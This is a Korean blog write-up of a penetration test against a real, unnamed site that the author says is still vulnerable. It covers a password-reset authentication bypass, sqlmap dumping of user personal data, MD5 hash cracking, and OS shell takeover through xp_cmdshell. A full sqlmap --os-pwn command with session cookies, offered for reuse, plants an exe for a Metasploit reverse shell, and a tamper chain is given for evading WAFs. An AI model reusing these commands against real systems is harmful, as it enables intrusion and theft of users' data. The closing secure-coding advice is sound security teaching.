[모의해킹/취약점분석] SQL 인젝션 Injection

SECURITY/모의해킹 취약점분석 / /
반응형

SQL injection 취약점


 

국내 모 사이트 실제 해킹 과정

본 포스팅 내용은 악의적인 목적으로 시행된것이 아님을 밝힙니다.

 

모의 해킹 결과는 해당 사이트 담당 관리자에게 통보하여 취약 부분에 대하여

개선.권고 조치 하였음.

 

1. WEB 서버 정보 알아보기


윈도우 기반의 IIS 웹서버 / apache tomcat 등을 사용중인것으로 확인

 

 

2. burpsuit or OWASP ZAP 등 프로그램을 이용한 사이트 분석 (취약점 분석)

 

2. Burpsuite or ZAP 프로그램 사용 취약점 분석


윈도우 기반의 IIS 웹서버 / apache tomcat 등을 사용중인것으로 확인

 

asp 로 개발된 사이트이며, mssql 을 사용하고 있습니다.

-  개인정보 관련 페이지(ID/Password) 취약점을 이용한 공격 

  

아래는 패스워드 변경 페이지가 취약한 사례로 ID만 알고 있으면 -> 패스워드 변경가능 -> 변경된 패스워드로 로그인 가능.

인증 및 세션 검증이 취약한 페이지임  (인증번호 OTP 가 사실상 필요없음)

 

 

페이지는 위와 같이 개발되어 있으나 아래와 같이 "패스워드" 변경 페이지를 직접 호출 -> ID 입력후 변경 패스워드 입력

-> http POST 200 OK 성공 (burpsuit curl command line)

즉, 임의적으로 사용자 ID 입력후 원하는 패스워드로 변경이 가능 

 

민감 정보 (개인정보) 취급하는 관리자 사이트도 로그인 가능

 

 

3. SQL Injection 공격으로 DB 정보 획득


 

  2번에서 획득한 세션 정보 -> sqlmap 공격 도구 --cookie 에 삽입 후 인젝션 수행

  

  - DB 정보 획득  --dbs --dmbs=mssql  

    아래와 같이 실제 사용중인 12개 DB명  출력  

 

 

--tables 확인 (컬럼 확인은 --columns)   XXX DB에 대하여 51개 DB table 확인

 

 

 -D XXX(DB명) -T userinfo(테이블명) -C username,userID,userpwd,email,mobilenum (컬럼명) --dump  아래와 같이 개인정보 탈취 가능

  이름 ID 패스워드 핸드폰번호 이메일 (주소는 생략했음)

 

패스워드가 단순 md5 hash 암호화 알고리즘으로 DB에 저장된다는걸 알수 있다 

(단순 md5 hash 알고리즘으로 패스워드가 encryption 되어있음을 알수 있다)

 

간단한 패스워드를 사용할 경우 수분내에 암호를 알아 낼수 있다

방법은 sqlmap 자체적으로도 가능하며 hashcat 같은 도구 활용

 

아래 화면은 실제 특정 사용자 md5 암호를 크랙 한 결과 (md5 복호화 과정)

 

sqlmap 으로 자동으로 crack 화면 (워드 리스트를 기준으로 잘 알려진 패스워드를 무차별 대입하는 방식)

중요 개인정보 획득후 패스워드 복호화 과정

아래와 같이 잘 알려져 있거나 단순한 패스워드는 사용자 정보와 함께 쉽게 crack 가능하다 

 

 hashcat 도구 활용으로 crack 화면 

 zxc123 단순 패스워드 사용시 크랙 과정은 1분9초 정도 소요

 

아래 화면은 직접 CMD 권한을 획득하여 password가 1q2w3e 같은 단순한 비밀번호 사용자만 sql query로 

직접 확인한 결과이다

 

해당 사이트는 전체 회원중 무려 83명이 1q2w3e -> 단순한 패스워드를 사용중이다.

1q2w3e -> 3fde6bb0541387e4ebdadf7c2ff31123  (md5)

 

 

한마디로 DB 데이타 개인정보 ID, 패스워드가 해킹 되면 암호화 방식이 md5, sha256, sha256+salt 이던

위 내용 과 같이 잘알려진(단순한) 패스워드 사용자를 추려내는건 일도 아니다 

 

사실 ID만 알고 있어도 단순한,잘알려진 비밀번호를 사용한다면 brute force 공격 형태로 무작위 대입 공격에도 취약한거다.

 

그래서 개발단 코딩 단계에서 부터 비밀번호 복잡도를 체크하는 로직은 필수 (대소문자,특수문자,숫자 조합 ,8자리 이상 등등)

사이트 가입자(사용자)도 가급적이면 비밀번호를 복잡성에 만족하게 사용해야한다

 

비밀번호 사용 관련해서 아주 기본적인 것인데도 잘 지켜지지가 않는다는 현실이 한탄스러울 뿐이다.

 

 

4. Windows cmd shell 권한 획득


sqlmap 옵션중 --os-shell 을 사용시 OS 권한을 획득할수 있음 (단, 위와같이 인젝션이 가능할 경우)

즉, xp_cmdshell 을 활성화 시키는 것.

 

아래 그림과 같이 os shell 권한이 획득 가능하다면 사실상 대상 사이트는 끝난거다

악의적인 목적이라면 다양한 방법을 통해 엄청난 피해를 줄수 있다  

한마디로 운영 서버가 해커의 것이 되는것이나 다름없다

 

 

shell (windows OS cmd) 권한 획득으로 응용 예제

sqlcmd 명령어로 zxc123 같은 단순 패스워드를 사용중인 모든 사용자 검색하기

 

이외에도 OS shell 컨트롤 권한을 획득한다면 악의적인 목적으로 할수있는 일은 무궁무진하다.

OS CLI 명령 기반으로 대부분 컨트롤이 가능하다. 

 

예) 앞단에 보안장비가 없다면 -> OS 방화벽 해제 -> 계정 추가 (관리자권한) -> RDP 나 ssh 로 바로 서버 접속

예) 침해 서버가 outbound 통신이 된다면 -> 악성코드 다운로드 -> 설치 -> 언제 어디서나 컨트롤  

 

5. Exploit Code Upload / 서버에 악성코드 업로드 성공


exe 형태의 exploit 코드를 업로드후 reverse tcp 형태로 서버를 장악 하는 과정

아래 샘플 코드는 적절하게 변경후 사용 요망

 

./sqlmap.py -u "http://XXXXXXXXXXXXXXXXX.asp?XXXCode=X77" --dbms=mssql  --cookie=" ASPSESSIONIDQATSDRRD=ACIJMAOBBACDBEAKPPIGOIJD; InstInfo=; ASPSESSIONIDQQDTDDAQ=JMHHBDACHAACAIIAOFCNOJOH; " 

--os-pwn --threads=10

 

 

metasploit 도구로 연동된 화면 reverse TCP 세션 확인

 

--os-shell OS 쉘 권한 획득후  서버 cmd 명령으로 직접 exploit (exe) 코드가 업로드 된것 확인

 

 

6. SQL Injection 공격 요약


위와 같이 SQL injection 공격에 취약한 사이트는 지금 글쓰는 이시점 까지도 해킹에 무방비 상태다

악의적인 목적이라면 지금 당장이라도 사이트 개인정보 DB를 모두 탈취할수 있다

DB 정보 뿐아니라 서버에 악성코드 업로드 후 마음대로 조작 가능하다

 

보통 일반적인 사이트는 대부분 상단에 IPS, WAF(웹방화벽) 등 보안 장비가 갖추어져 있다 

하지만, 해커 입장에서는 보안장비(IPS,WAF)를 우회 하거나 bypass 하는 것은 일도 아니다.

 

Sqlmap 도구를 사용하여 공격 한다면 --tamper 옵션을 주면 아래와 같은 형태로 공격 대상에 Payload 를 전송한다.

 

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes 

 

테스트 결과 보안 장비 벤더별로 탐지되는것도 있고 안되는 것도 있다 

요약 하자면, bypass 되서 sql 인젝션이 가능 하다는 것이다. 

(예: WAF 등록되어 있는 keyword 필터 우회)

 

실제 --tamper 옵션으로 전송되는 payload를 디버깅 화면으로 본 결과이다

(공백을 주석으로 치환, 공백을 +문자로 치환 , 대소문자 random 하게 등등 옵션은 여러가지)

 

 

 

일부 서버 관리자, 개발자 들은 보안장비나 보안솔루션이 있으면 위와 같은 형태의(sql인젝션) 공격을 모두 차단하는줄 착각 하고 있다.

아주 잘못된 생각이다.

 

 

가장 기본적인 보안은 개발단 소스 코딩(시큐어 코딩) 부터 이루어 져야한다.

 

 

예를들어 SQL 인젝션 방지 코딩 , XSS (크로스사이트스크립팅) 방지 코딩, 파일 업로드 취약점 방지 등은

기본적으로 개발자가 반드시 숙지 하고 있어야 한다고 생각한다.

 

 

 


모의해킹 / 취약점 분석 사례 더보기

 

 

'SECURITY/모의해킹 취약점분석' 카테고리의 글 목록

정보 지식 공유와 나눔으로 상생의 가치 실현해요 ^^

rootkey.tistory.com

 

반응형
  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기